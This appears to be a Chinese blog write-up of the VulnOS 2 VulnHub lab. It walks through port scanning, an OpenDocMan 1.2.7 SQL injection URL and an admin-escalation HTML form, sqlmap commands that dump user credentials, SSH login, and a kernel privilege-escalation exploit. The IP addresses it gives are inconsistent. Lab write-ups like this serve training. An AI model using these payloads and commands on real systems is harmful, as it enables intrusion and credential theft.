1.环境准备
下载地址:VulnOS: 2 ~ VulnHub
前言:由于我们下载的靶场是vdi文件,而我使用的是虚拟机,我们需要安装VirtualBox将vdi文件转换成虚拟机的vmdk文件vdi转vmdk VirtualBox与VMware硬盘格式转换及使用方法-CSDN博客
虚拟机:kali(192.168.26.128)(Nat模式)
靶机:Nat模式
2.渗透测试
信息收集
主机探测
nmap -sP 192.168.26.0/24
得知靶机的ip地址:192.168.26.140
也可以使用arp-scan -l 的命令
端口探测
nmap -sS -sV -p- 192.168.26.140
发现此ip开放22、80以及6667端口
在网上找相关端口漏洞,看是否能够利用,
漏洞利用尝试(6667)
进入msfconsole模式
search unreal_ircd_3281_backdoor
用命令 use 0 模块尝试进行攻击
提示没有设置payload,那么我们就需要手动输入payload
网上找找相关payload,并且设置好攻击机ip,也就是kali的ip地址
set payload cmd/unix/reverse_perl
下面显示会话没有被创建 ,看看别人的WP,发现没有对此6667端口渗透的,那就只能看看80端口
漏洞探测(80)
访问该IP地址,出现一大段英文,看看翻译
VulnOS 是一系列脆弱的操作系统,以虚拟图像的形式包装,用于提高渗透测试技能
这是一台易受攻击的服务器。切勿在生产环境中使用此虚拟机
测试服务器上的公司网站... 获取系统根目录并读取最终标志
提示我们测试服务器上的公司网站,我们点进去,出现JABC
目录扫描
dirb http://192.168.26.160/jabc
在目录扫描的时候扫描到robots.txt文件,然后访问出现了一个登录框的接口,但是不能进行利用,
回到刚开始的界面,一般这种情况有两种思路,一种是目录爆破,查看下有木有其他的能访问的目录。还有一种是F12查看下js代码,有些注释可能会有帮助。
这边我们先F12 看下:出现4个地址,分别对应着页面4个导航栏模块
每个跳转页面都没啥信息,对主页外的其他3个页面都F12,最终在http://192.168.20.130/jabc/?q=node/7 下发现一些有用的提示:
大体内容为:有关我们产品的详细视图和文档,请访问服务器上的文档平台/jabcd0cs/ ,并且可以用guest/guset进行登录。
下面我们访问下 http://192.168.20.140/jabcd0cs/
访问完之后出现一个登录框的接口,我们试试用上面给的信息guest/guest登录
下面是登录成功界面
漏洞利用(OpenDocMan v1.2.7)
网上找一个看看有没有服务器的漏洞可以利用,我们先尝试用msf模块利用
kali输入msfconsole,进入msf6模式,搜索一下该漏洞,下载一下 1.2.7 漏洞利用的payload
接下来将32075.txt复制到本地,查看下内容:
cp /usr/share/exploitdb/exploits/php/webapps/32075.txt .
添加权限并查看内容
可以发现,add_value参数有2个漏洞
存在:CVE-2014-1945, CVE-2014-1946
1)CVE-2014-1945:SQL注入
该漏洞是因为/ajax_udf.php脚本中存在add_value对HTTP GET参数请求验证不充分导致存在的漏洞。
sql 注入payload:
http://[host]/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,version%28%29,3,4,5,6,7,8,9
2)CVE-2014-1946:访问控制不当
由于在更新用户配置文件时/signup.php脚本中允许的操作验证不足,导致远程身份验证的攻击者可以将管理权限分配给当前帐户并获得对应用程序的完全控制权限。
payload:
<form action="http://[host]/signup.php" method="post" name="main"> <input type="hidden" name="updateuser" value="1"> <input type="hidden" name="admin" value="1"> <input type="hidden" name="id" value="[USER_ID]"> <input type="submit" name="login" value="Run"> </form>
这边先构造sql注入链接:
http://192.168.26.140/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,version%28%29,3,4,5,6,7,8,9
然后sqlmap跑一下:
爆库
sqlmap -u "http://192.168.26.140/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,version%28%29,3,4,5,6,7,8,9" --dbs
爆表
可以发现add_value参数存在sql注入漏洞,也跑出6个库,接下来dump下我们网站的库数据jabcd0cs,看下库里面的表:
sqlmap -u "http://192.168.26.140/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,version%28%29,3,4,5,6,7,8,9" --level=3 -risk=3 -D jabcd0cs --tables
爆字段名
sqlmap -u "http://192.168.26.140/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,version%28%29,3,4,5,6,7,8,9" --level=3 -risk=3 -D jabcd0cs -T odm_user --columns
爆数据
sqlmap -u "http://192.168.26.140/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,version%28%29,3,4,5,6,7,8,9" --level=3 -risk=3 -D jabcd0cs -T odm_user --dump
在odm_user表中发现了username和password的字段,guest/guest就是提示给的游客账户,接下来尝试解密webmin用户的密码,看上去是md5,去somd5尝试解密:
得到webmin的密码---webmin1980
因为之前也看到开放了22端口的ssh服务,这边就用ssh尝试用
webmin/webmin1980 进行登录:
ssh webmin@192.168.26.140
成功获得网站的权限
权限提升
按照之间情况一样,我们依旧想知道系统内核版本,以及系统的一些信息
uname -a
cat /etc/**-release
内核版本为:3.13.0-24-generic
searchsploit搜索下有无符合该版本的提权漏洞:
发现有个可以提权的exp,接下来就是先将exp下载到本地,然后上传靶机,最后编译执行就可以啦。
用python开启一个http服务端,让靶机可以下载到exp
将exp上传靶机:
我们要将exp上传到tmp临时目录,所以我们还要了解当前目录
编译成功如下
接下来执行该文件就行了
可以看到,获得到root权限,顺便找个flag
总结
刚开始还以为6667端口能够进行漏洞利用,但是后面发现利用不了,转成探测网站的漏洞。对于探测网站的漏洞,我们要注意它的网页源代码查看提示,查找相关的漏洞进行exp的下载,这里考虑到的是sql注入的漏洞,我们用sqlmap爆破即可,基本权限提升套路都是:下载exp-->>上传exp-->>编译-->>执行